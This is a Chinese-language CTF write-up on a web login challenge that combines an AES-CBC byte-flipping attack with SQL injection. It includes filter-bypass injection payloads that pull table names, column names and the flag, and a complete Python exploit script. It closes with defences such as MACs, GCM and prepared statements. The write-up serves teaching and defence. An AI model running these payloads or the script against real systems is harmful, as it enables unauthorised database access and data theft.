一道简单的CTF登录题题解
字数 1697 2025-08-18 11:38:08
CTF登录题解题详解:基于AES-CBC字节翻转攻击的SQL注入
题目概述
这是一道50分的Web登录题,通过率仅14%。题目提供了一个简单的登录界面,通过代码审计发现存在AES-CBC加密漏洞,结合SQL注入技术可获取flag。
关键知识点
- AES-CBC加密模式:使用初始向量(IV)和密钥对数据进行分块加密
- CBC字节翻转攻击:通过修改密文块来影响解密后的明文
- SQL注入绕过技巧:在严格过滤条件下的注入方法
- PHP序列化与反序列化:数据在加密前后的处理过程
详细解题步骤
1. 初步侦察
- 查看网页源代码,未发现有用信息
- 使用Burp Suite拦截请求,发现服务器返回
test.php提示 - 访问
test.php获取后端源代码
2. 代码审计分析
代码逻辑流程:
- 提交的
id参数先进行SQL注入过滤(过滤=,-,#,union,like,procedure等) - 通过过滤的
id会生成:iv: 随机16位值,经Base64编码cipher:id序列化后与SECRET_KEY、iv经AES-128-CBC加密的结果
- 服务器将
iv和cipher设置到cookie并返回 - 若无
id参数但有iv和ciphercookie,则进入show_homepage()函数 show_homepage()解密流程:- Base64解码
iv和cipher - 使用
SECRET_KEY进行AES-128-CBC解密得到plain - 尝试反序列化
plain,失败则返回其Base64编码 - 成功则拼接SQL语句:
select * from users limit .$info['id'] ,0
- Base64解码
3. 漏洞利用思路
关键SQL语句:select * from users limit .$info['id'] ,0
需要实现:
- 注释掉后面的
,0 - 使
id=1,构造完整语句:select * from users limit 1
限制条件:
- 过滤了常见注释符
#和-- - 但第二次提交通过
iv和cipher时不会过滤
4. 具体攻击步骤
第一步:基本注入测试
- 提交
id=1%00(使用空字节截断) - 获取服务器返回的
iv和cipher - 使用这些值作为cookie再次POST(不带
id参数) - 成功返回
Hello!rootzz
第二步:CBC字节翻转攻击
利用AES-CBC模式的特性:
- 提交能通过过滤的语句如
id=12 - 获取
iv和cipher - 翻转
cipher中对应id=12的2的字节,得到cipher_new - 提交
iv和cipher_new - 获取解密后的
plain - 计算新的
iv_new:iv_new = first_16_bytes ^ plain ^ iv_raw - 提交
iv_new和cipher_new获取id=1#的结果
第三步:完整SQL注入
构造更复杂的注入语句,注意绕过过滤:
=→ 用regexp代替,→ 用join代替union→ 用2nion代替(后续通过字节翻转将2改为u)
具体注入流程:
-
获取数据库表名:
0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);(通过字节翻转将
2nion变为union) -
获取列名(假设目标表为
you_want):0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c); -
获取flag:
0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);
5. 自动化脚本
使用Python实现自动化攻击:
from base64 import *
import urllib
import requests
import re
def attack(payload, idx, c1, c2):
url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = {'id': payload}
r = requests.post(url, data=payload)
# 获取初始iv和cipher
Set_Cookie = r.headers['Set-Cookie']
iv = re.findall(r"iv=(.*?);", Set_Cookie)[0]
cipher = re.findall(r"cipher=(.*)", Set_Cookie)[0]
# Base64解码
iv_raw = b64decode(urllib.unquote(iv))
cipher_raw = b64decode(urllib.unquote(cipher))
# 字节翻转
lst = list(cipher_raw)
lst[idx] = chr(ord(lst[idx]) ^ ord(c1) ^ ord(c2))
cipher_new = ''.join(lst)
cipher_new = urllib.quote(b64encode(cipher_new))
# 第一次提交修改后的cipher
cookie_new = {'iv': iv, 'cipher': cipher_new}
r = requests.post(url, cookies=cookie_new)
cont = r.content
# 获取解密后的plain
plain = re.findall(r"base64_decode$'(.*?)'$", cont)[0]
plain = b64decode(plain)
# 计算新的iv
first = 'a:1:{s:2:"id";s:'
iv_new = ''
for i in range(16):
iv_new += chr(ord(first[i]) ^ ord(plain[i]) ^ ord(iv_raw[i]))
iv_new = urllib.quote(b64encode(iv_new))
# 最终提交
cookie_new = {'iv': iv_new, 'cipher': cipher_new}
r = requests.post(url, cookies=cookie_new)
print(r.content)
# 示例调用
attack('12', 4, '2', '#') # 测试基本功能
attack('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0), 6, '2', 'u') # 联合查询测试
attack('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0), 7, '2', 'u') # 获取表名
attack("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0), 7, '2', 'u') # 获取列名
attack("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0), 6, '2', 'u') # 获取数据
总结与防御建议
漏洞成因
- 加密后的数据验证不足,信任客户端提供的加密数据
- CBC模式固有的字节翻转漏洞
- 二次请求时缺乏与首次请求相同的过滤机制
防御措施
- 对加密数据使用MAC(消息认证码)验证
- 改用GCM等认证加密模式代替CBC
- 保持一致的过滤策略,无论数据来自何处
- 使用预处理语句防止SQL注入
- 对重要操作保持服务器端状态,不依赖客户端数据
学习要点
- 加密算法的选择和使用方式同样重要
- 代码审计时要关注数据流的所有路径
- 过滤规则的完整性检查
- 加密不能替代验证
这道题综合考察了加密算法理解、代码审计能力和SQL注入技巧,是一道很好的Web安全学习案例。